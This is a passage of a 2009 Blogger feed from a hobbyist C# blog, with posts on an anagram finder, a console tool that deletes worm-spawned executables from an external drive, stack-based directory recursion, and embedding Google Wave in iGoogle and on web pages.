#2b91af"&gt;Hashtable&lt;/span&gt;();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;char&lt;/span&gt;[] a_chars = str.ToCharArray();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;foreach &lt;/span&gt;(&lt;span style="color: blue"&gt;char &lt;/span&gt;c &lt;span style="color: blue"&gt;in &lt;/span&gt;a_chars)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: blue"&gt;if &lt;/span&gt;(ht.ContainsKey(c))&lt;br /&gt;                {&lt;br /&gt;                    ht[c] = (&lt;span style="color: #2b91af"&gt;Convert&lt;/span&gt;.ToInt32(ht[c]) + 1).ToString();&lt;br /&gt;                }&lt;br /&gt;                &lt;span style="color: blue"&gt;else&lt;br /&gt;                &lt;/span&gt;{&lt;br /&gt;                    ht.Add(c, 1);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;return &lt;/span&gt;ht;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;protected &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Regex &lt;/span&gt;DoRegEx(&lt;span style="color: blue"&gt;string &lt;/span&gt;pattern, &lt;span style="color: blue"&gt;bool &lt;/span&gt;UseAllRegexOptionFlag)&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: blue"&gt;string &lt;/span&gt;regex = pattern;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #2b91af"&gt;RegexOptions &lt;/span&gt;options;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;if &lt;/span&gt;(UseAllRegexOptionFlag)&lt;br /&gt;            {&lt;br /&gt;                options = (((System.Text.RegularExpressions.&lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.IgnorePatternWhitespace | System.Text.RegularExpressions.&lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.Singleline) | System.Text.RegularExpressions.&lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.Multiline) | System.Text.RegularExpressions.&lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.IgnoreCase);&lt;br /&gt;            }&lt;br /&gt;            &lt;span style="color: blue"&gt;else&lt;br /&gt;            &lt;/span&gt;{&lt;br /&gt;                options = ((&lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.IgnorePatternWhitespace | &lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.Multiline) | &lt;span style="color: #2b91af"&gt;RegexOptions&lt;/span&gt;.IgnoreCase);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: blue"&gt;return new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Regex&lt;/span&gt;(regex, options);&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;public string &lt;/span&gt;TimeDuration&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: blue"&gt;get &lt;/span&gt;{ &lt;span style="color: blue"&gt;return &lt;/span&gt;_time_duration; }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;public int &lt;/span&gt;TotalFound&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: blue"&gt;get &lt;/span&gt;{ &lt;span style="color: blue"&gt;return &lt;/span&gt;_ttl_found; }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: blue"&gt;public int &lt;/span&gt;TotalWordsFoundInDatabase&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: blue"&gt;get &lt;/span&gt;{ &lt;span style="color: blue"&gt;return this&lt;/span&gt;._ttl_words_in_database; }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-8877237701991429806?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/8877237701991429806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=8877237701991429806' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8877237701991429806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/8877237701991429806'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/12/anagram-word-finder-c.html' title='Anagram (Word Finder) – C#'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_kFNcLq9qQIg/SzGrMVicB4I/AAAAAAAABl4/e3Wo28p6wGk/s72-c/image_thumb%5B2%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-9071906331546755448</id><published>2009-12-19T19:16:00.001+08:00</published><updated>2009-12-19T19:16:03.422+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Virus'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><category scheme='http://www.blogger.com/atom/ns#' term='string[]'/><category scheme='http://www.blogger.com/atom/ns#' term='my code'/><category scheme='http://www.blogger.com/atom/ns#' term='Worm'/><title type='text'>Virus Spawner Remover Code – C#</title><content type='html'>&lt;p&gt;Worm got my Windows OS today.. and it spawned 38,188 EXE files (360KB each file) in my external drive.. &lt;/p&gt;  &lt;p&gt;The logic of spawning is very common which it recurse to your entire drive and make a copy of the worm it self and has the same name of the current directory where the worm is located to.&lt;/p&gt;  &lt;p&gt;I tried searching all of them and it returned 38,188 exe files. I tried deleting them all at once using File Explorer but am not sure why the Explorer hanged.. Tried it twice and same thing.&lt;/p&gt;  &lt;p&gt;So to make things easier .. no UI at all .. I wrote a console app which it recurse all the directories in my external drive .. look for common pattern and delete! here’s the code .. &lt;/p&gt;  &lt;p&gt;you’re free to tweak it.&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Collections.Generic;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.IO;&lt;br /&gt;&lt;span class="kwrd"&gt;using&lt;/span&gt; System.Text;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;namespace&lt;/span&gt; RemoveSpawner&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;class&lt;/span&gt; Program&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; Main(&lt;span class="kwrd"&gt;string&lt;/span&gt;[] args)&lt;br /&gt;        {&lt;br /&gt;            ScanAndRemove(&lt;span class="str"&gt;&amp;quot;E:\\&amp;quot;);&lt;br /&gt;            Console.WriteLine(&amp;quot;&lt;/span&gt;DONE&lt;span class="str"&gt;&amp;quot;);&lt;br /&gt;            Console.ReadLine();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        public static void ScanAndRemove(string b)&lt;br /&gt;        {&lt;br /&gt;            int counter = 0;&lt;br /&gt;            &lt;br /&gt;            Stack&amp;lt;string&amp;gt; stack = new Stack&amp;lt;string&amp;gt;();&lt;br /&gt;&lt;br /&gt;            stack.Push(b);&lt;br /&gt;&lt;br /&gt;            while (stack.Count &amp;gt; 0)&lt;br /&gt;            {&lt;br /&gt;                string dir = stack.Pop();&lt;br /&gt;&lt;br /&gt;                try&lt;br /&gt;                {&lt;br /&gt;                    string[] files = Directory.GetFiles(dir, &amp;quot;&lt;/span&gt;*.exe&lt;span class="str"&gt;&amp;quot;);&lt;br /&gt;&lt;br /&gt;                    foreach (string file in files)&lt;br /&gt;                    {&lt;br /&gt;                        DirectoryInfo di = new DirectoryInfo(dir);&lt;br /&gt;&lt;br /&gt;                        if (di.Name.ToLower() == Path.GetFileNameWithoutExtension(file.ToLower()))&lt;br /&gt;                        {&lt;br /&gt;                            counter++;&lt;br /&gt;                            Console.WriteLine(counter + &amp;quot;&lt;/span&gt;, &lt;span class="str"&gt;&amp;quot; + file);&lt;br /&gt;                            Console.Write(&amp;quot;&lt;/span&gt;deleting ... &lt;span class="str"&gt;&amp;quot;);&lt;br /&gt;&lt;br /&gt;                            try&lt;br /&gt;                            {&lt;br /&gt;                                File.Delete(file);&lt;br /&gt;                                Console.WriteLine(&amp;quot;&lt;/span&gt;done!&amp;quot;);&lt;br /&gt;                            }&lt;br /&gt;                            &lt;span class="kwrd"&gt;catch&lt;/span&gt; (Exception ex) { ; }&lt;br /&gt;                        }&lt;br /&gt;                    }&lt;br /&gt;&lt;br /&gt;                    &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; dn &lt;span class="kwrd"&gt;in&lt;/span&gt; Directory.GetDirectories(dir))&lt;br /&gt;                    {&lt;br /&gt;                        stack.Push(dn);&lt;br /&gt;                    }&lt;br /&gt;                }&lt;br /&gt;                &lt;span class="kwrd"&gt;catch&lt;/span&gt;&lt;br /&gt;                {&lt;br /&gt;                    &lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Cheers.  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-9071906331546755448?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/9071906331546755448/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=9071906331546755448' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/9071906331546755448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/9071906331546755448'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/12/virus-spawner-remover-code-c.html' title='Virus Spawner Remover Code – C#'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-5635277268366610245</id><published>2009-12-01T01:26:00.001+08:00</published><updated>2009-12-14T09:18:10.509+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google Wave'/><category scheme='http://www.blogger.com/atom/ns#' term='iGoogle'/><title type='text'>Google Wave in iGoogle!</title><content type='html'>&lt;p&gt;I have successfully created a Google Wave gadget for iGoogle!!&lt;/p&gt;  &lt;p&gt;Here’s the screen shot!&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SxQATUow22I/AAAAAAAABjg/xQCvWaHJlQc/s1600-h/GoogleWave%20in%20iGoogle%5B5%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="GoogleWave in iGoogle" border="0" alt="GoogleWave in iGoogle" src="http://lh4.ggpht.com/_kFNcLq9qQIg/SxQAUwQkBXI/AAAAAAAABjk/OvsZniqkbW4/GoogleWave%20in%20iGoogle_thumb%5B3%5D.jpg?imgmax=800" width="640" height="461" /&gt;&lt;/a&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Cool eh!? As you can see, I even have two Google Wave object in one iGoogle tab. Anyway, if you want to use this Gadget. Just click the link below&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;a href="http://www.google.com/ig/adde?hl=en&amp;amp;moduleurl=jaysonragasa.110mb.com/GoogleGadgets/iGoogle/GWave_iGoogle_04.xml" target="_blank"&gt;Google Wave&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Note: After adding the Google Wave iGoogle Gadget.. An initial wave will load up so please leave a feedback there before setting your own WaveID.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Setting up WaveID&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;I’d like you to read my another post called &lt;a href="http://heresmycode.blogspot.com/2009/10/add-google-wave-in-your-site.html"&gt;Add Google Wave In Your Web/Blog Site&lt;/a&gt; this will help you how to get the WaveID.&lt;/p&gt;  &lt;p&gt;Click the down-arrow in gadget &lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SxQAVfLgdsI/AAAAAAAABjo/XVQJFTVUL3I/s1600-h/image%5B4%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_kFNcLq9qQIg/SxQAWVMgPrI/AAAAAAAABjs/myBoINHGKho/image_thumb%5B2%5D.png?imgmax=800" width="49" height="34" /&gt;&lt;/a&gt; and click Edit Settings, then enter your WaveID in the box &lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://lh3.ggpht.com/_kFNcLq9qQIg/SxQAXLTy_yI/AAAAAAAABjw/AWgM8SJVabI/image_thumb%5B7%5D.png?imgmax=800" width="500" height="78" /&gt;&lt;/p&gt;  &lt;p&gt;and click Save button! that’s it.&lt;/p&gt;  &lt;p&gt;If you want to have multiple Google Wave object. just click the “&lt;a href="http://www.google.com/ig/adde?hl=en&amp;amp;moduleurl=jaysonragasa.110mb.com/GoogleGadgets/iGoogle/GWave_iGoogle_04.xml" target="_blank"&gt;Google Wave&lt;/a&gt;” link&lt;/p&gt;  &lt;p&gt;CHEEEEERS! burp!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-5635277268366610245?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/5635277268366610245/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=5635277268366610245' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/5635277268366610245'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/5635277268366610245'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/12/google-wave-in-igoogle.html' title='Google Wave in iGoogle!'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_kFNcLq9qQIg/SxQAUwQkBXI/AAAAAAAABjk/OvsZniqkbW4/s72-c/GoogleWave%20in%20iGoogle_thumb%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-615375449558503637</id><published>2009-10-26T01:53:00.001+08:00</published><updated>2009-10-26T01:53:15.225+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Algorithm'/><category scheme='http://www.blogger.com/atom/ns#' term='FileFolder'/><category scheme='http://www.blogger.com/atom/ns#' term='System.IO'/><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>Better FileFolder Recursion Algorithm – More Code Friendly</title><content type='html'>&lt;p&gt;I’d like you to read the code first&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&lt;span class="kwrd"&gt;static&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; FileHelper&lt;br /&gt;{&lt;br /&gt;    &lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;static&lt;/span&gt; List&amp;lt;&lt;span class="kwrd"&gt;string&lt;/span&gt;&amp;gt; GetFilesRecursive(&lt;span class="kwrd"&gt;string&lt;/span&gt; b)&lt;br /&gt;    {&lt;br /&gt;        &lt;span class="rem"&gt;// 1.&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// Store results in the file results list.&lt;/span&gt;&lt;br /&gt;        List&amp;lt;&lt;span class="kwrd"&gt;string&lt;/span&gt;&amp;gt; result = &lt;span class="kwrd"&gt;new&lt;/span&gt; List&amp;lt;&lt;span class="kwrd"&gt;string&lt;/span&gt;&amp;gt;();&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// 2.&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// Store a stack of our directories.&lt;/span&gt;&lt;br /&gt;        Stack&amp;lt;&lt;span class="kwrd"&gt;string&lt;/span&gt;&amp;gt; stack = &lt;span class="kwrd"&gt;new&lt;/span&gt; Stack&amp;lt;&lt;span class="kwrd"&gt;string&lt;/span&gt;&amp;gt;();&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// 3.&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// Add initial directory.&lt;/span&gt;&lt;br /&gt;        stack.Push(b);&lt;br /&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// 4.&lt;/span&gt;&lt;br /&gt;        &lt;span class="rem"&gt;// Continue while there are directories to process&lt;/span&gt;&lt;br /&gt;        &lt;span class="kwrd"&gt;while&lt;/span&gt; (stack.Count &amp;gt; 0)&lt;br /&gt;        {&lt;br /&gt;            &lt;span class="rem"&gt;// A.&lt;/span&gt;&lt;br /&gt;            &lt;span class="rem"&gt;// Get top directory&lt;/span&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;string&lt;/span&gt; dir = stack.Pop();&lt;br /&gt;&lt;br /&gt;            &lt;span class="kwrd"&gt;try&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="rem"&gt;// B&lt;/span&gt;&lt;br /&gt;                &lt;span class="rem"&gt;// Add all files at this directory to the result List.&lt;/span&gt;&lt;br /&gt;                result.AddRange(Directory.GetFiles(dir, &lt;span class="str"&gt;&amp;quot;*.*&amp;quot;&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;                &lt;span class="rem"&gt;// C&lt;/span&gt;&lt;br /&gt;                &lt;span class="rem"&gt;// Add all directories at this directory.&lt;/span&gt;&lt;br /&gt;                &lt;span class="kwrd"&gt;foreach&lt;/span&gt; (&lt;span class="kwrd"&gt;string&lt;/span&gt; dn &lt;span class="kwrd"&gt;in&lt;/span&gt; Directory.GetDirectories(dir))&lt;br /&gt;                {&lt;br /&gt;                    stack.Push(dn);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            &lt;span class="kwrd"&gt;catch&lt;/span&gt;&lt;br /&gt;            {&lt;br /&gt;                &lt;span class="rem"&gt;// D&lt;/span&gt;&lt;br /&gt;                &lt;span class="rem"&gt;// Could not open the directory&lt;/span&gt;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        &lt;span class="kwrd"&gt;return&lt;/span&gt; result;&lt;br /&gt;    }&lt;br /&gt;}&lt;/pre&gt;&lt;p&gt;what do you think? I like the idea of Pop Push method to use in recursion instead of method recursion.. &lt;/p&gt;&lt;p&gt;read the full article here&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;a href="http://dotnetperls.com/recursively-find-files"&gt;C# Recursive File and Directory Method&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-615375449558503637?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/615375449558503637/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=615375449558503637' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/615375449558503637'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/615375449558503637'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2009/10/better-filefolder-recursion-algorithm.html' title='Better FileFolder Recursion Algorithm – More Code Friendly'/><author><name>Nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='27' height='32' src='http://1.bp.blogspot.com/_kFNcLq9qQIg/SqCnZ8nL4AI/AAAAAAAABRU/dg3o9vMwSaA/S220/me.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-283095442481052191.post-8189670900475295535</id><published>2009-10-19T01:16:00.006+08:00</published><updated>2009-11-26T05:52:31.534+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google Wave'/><category scheme='http://www.blogger.com/atom/ns#' term='Tips and Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Javscript'/><title type='text'>Add Google Wave In Your Web/Blog Site</title><content type='html'>&lt;p&gt;Just this early morning, I have received an Google Wave invitation from my co-worker and checked it out immediately, watched the looooooong video from Google Wave and all I can say everytime they showed something was “whoa!”&lt;/p&gt;  &lt;p&gt;So embedding Google Wave object into a web site got me something to work on. Got some disappointments due to some feature were no longer working and some of it was just uhh.. ok. Then I crossed into a site which brings back my energy. &lt;/p&gt;  &lt;p&gt;Thanks to @&lt;a href="http://twitter.com/VictusFate"&gt;Mark Essel&lt;/a&gt; and his &lt;a href="http://bit.ly/3dFdPF"&gt;How To Embed Google Wave on Your Wordpress Blog&lt;/a&gt; &lt;i&gt;just for Wordpress&lt;/i&gt;. Since am using Blogger I thought it was a bit of .. different approach .. approach that it could be use in any web site. &lt;/p&gt;  &lt;p&gt;Anyway! here’s how to embed google wave in your web site.&lt;/p&gt;  &lt;p&gt;First thing to do, you have to know what your Wave ID is .. to easily help you with that… add &lt;a href="mailto:embeddy@appspot.com"&gt;embeddy@appspot.com&lt;/a&gt; to your contacts&lt;/p&gt;  &lt;p&gt;Now once you created a New Wave and added Mr Embeddy to partcipate in your Wave, you’ll notice it will automatically add something like this&lt;/p&gt;  &lt;table border="0" cellspacing="0" cellpadding="2" width="633"&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td valign="top" width="200"&gt;Something like the image below&lt;/td&gt;        &lt;td valign="top" width="431"&gt;But what you really need is this .. The WaveID&lt;/td&gt;     &lt;/tr&gt;      &lt;tr&gt;       &lt;td valign="top" width="200"&gt;&lt;a href="http://lh4.ggpht.com/_kFNcLq9qQIg/SttNZ6mFN0I/AAAAAAAABgc/-ADcy4-SE3g/s1600-h/image%5B14%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://lh6.ggpht.com/_kFNcLq9qQIg/SttNbqNstXI/AAAAAAAABgg/e6CF2dZhxYg/image_thumb%5B10%5D.png?imgmax=800" width="324" height="376" /&gt;&lt;/a&gt; &lt;/td&gt;        &lt;td valign="top" width="431"&gt;&lt;a href="http://lh6.ggpht.com/_kFNcLq9qQIg/SttNdGgmWJI/AAAAAAAABgk/1XTk3YixRyk/s1600-h/image%5B15%5D.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://lh5.ggpht.com/_kFNcLq9qQIg/SttNeTiw0eI/AAAAAAAABgo/POO9enLfgKY/image_thumb%5B11%5D.png?imgmax=800" width="324" height="375" /&gt;&lt;/a&gt; &lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;Copy that somewhere, or paste it in the Notepad.&lt;/p&gt;  &lt;p&gt;Now you can safely remove Mr Embeddy and add  &lt;a href="mailto:public@a.gwave.com"&gt;public@a.gwave.com&lt;/a&gt; so you can make your Google Wave viewable in public. But unfortunately, only the Preview and Sandbox account can view the Wave (FOR NOW). There are some issues regarding to &lt;a href="mailto:public@a.gwave.com"&gt;public@a.gwave.com&lt;/a&gt; you can read it here &lt;a href="http://bit.ly/1XWR3l"&gt;Google Wave 101&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;So if you have all those setuped now.. then the real deal starts.&lt;/p&gt;  &lt;h4&gt;Adding Javascript in your website&lt;/h4&gt;  &lt;p&gt;It’s small and easy. Just add this Javascript&lt;/p&gt;  &lt;pre class="csharpcode"&gt;&amp;lt;script src=&lt;span class="str"&gt;'http://wave-api.appspot.com/public/embed.js'&lt;/span&gt; type=&lt;span class="str"&gt;'text/javascript'&lt;/span&gt;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script type=&lt;span class="str"&gt;'text/javascript'&lt;/span&gt;&amp;gt;&lt;br /&gt;&lt;span class="rem"&gt;/* &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    Embed Google Wave Script v2.0  &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    Re-writen by: Jayson Ragasa, Baguio City, Phillipines&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    Original Version (V1.0) from Mr Embeddy: embeddy@appspot.com&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;var&lt;/span&gt; div = document.getElementsByTagName('div');&lt;br /&gt;&lt;span class="rem"&gt;/* &lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    If you're going to use this script in Blogger, make sure the "&amp;lt;" (lesser-than) sign in "for (var i = 0; i &amp;lt; div.length; i++)"&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;    is converted to &amp;amp;lt;&lt;/span&gt;&lt;br /&gt;&lt;span class="rem"&gt;*/ &lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;for&lt;/span&gt; (&lt;span class="kwrd"&gt;var&lt;/span&gt; i = 0; i &amp;lt; div.length; i++) {&lt;br /&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt;( div[i].id.substr(0, 5) == &lt;span class="str"&gt;'wave_'&lt;/span&gt; ) {&lt;br /&gt; &lt;span class="kwrd"&gt;var&lt;/span&gt; id = div[i].id.substr(5, div[i].id.length-5);&lt;br /&gt;&lt;br /&gt; &lt;span class="kwrd"&gt;var&lt;/span&gt; wave = &lt;span class="kwrd"&gt;new&lt;/span&gt; WavePanel(&lt;span class="str"&gt;'https://wave.google.com/wave/'&lt;/span&gt;);&lt;br /&gt; wave.setUIConfig(&lt;span class="str"&gt;'white'&lt;/span&gt;, &lt;span class="str"&gt;'black'&lt;/span&gt;, &lt;span class="str"&gt;'Arial'&lt;/span&gt;, &lt;span class="str"&gt;'13px'&lt;/span&gt;);&lt;br /&gt; wave.loadWave(&lt;span class="str"&gt;'googlewave.com!w+'&lt;/span&gt; + id);&lt;br /&gt; wave.init(document.getElementById(div[i].id));&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;&lt;p&gt;for blogger users. Get it here &lt;a href="http://pastebin.com/f6894ebaa"&gt;http://pastebin.com/f6894ebaa&lt;/a&gt;&lt;/p&gt;&lt;p&gt;and &lt;strong&gt;&lt;u&gt;INSERT IT BEFORE&lt;/u&gt;&lt;/strong&gt; the &lt;span style="font-family:Courier New;color:#008000;"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt; tag&lt;/p&gt;&lt;p&gt;and if you want to start embedding a (Multiple) Google Wave object in your Website, Blog Post, or Gtalk ( huh!? ;) view only though .. )&lt;/p&gt;&lt;p&gt;add this small HTML tag called DIV in your POST page.&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;id&lt;/span&gt;="&lt;span style="color:#0080ff;"&gt;wave_&amp;lt;waveid&amp;gt;&lt;/span&gt;" &lt;span style="color:#ff0000;"&gt;style&lt;/span&gt;="&lt;span style="color:#0080ff;"&gt;width: 560px; height: 420px&lt;/span&gt;"&lt;span style="color:#0000ff;"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;e.g. the WaveID is &lt;span style="color:#800000;"&gt;G00gl3Wav3&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:Courier New;"&gt;&lt;span style="color:#0000ff;"&gt;&amp;lt;div&lt;/span&gt; &lt;span style="color:#ff0000;"&gt;id&lt;/span&gt;="&lt;span style="color:#0080ff;"&gt;wave_&lt;/span&gt;&lt;span style="color:#800000;"&gt;G00gl3Wav3&lt;/span&gt;" &lt;span style="color:#ff0000;"&gt;style&lt;/span&gt;="&lt;span 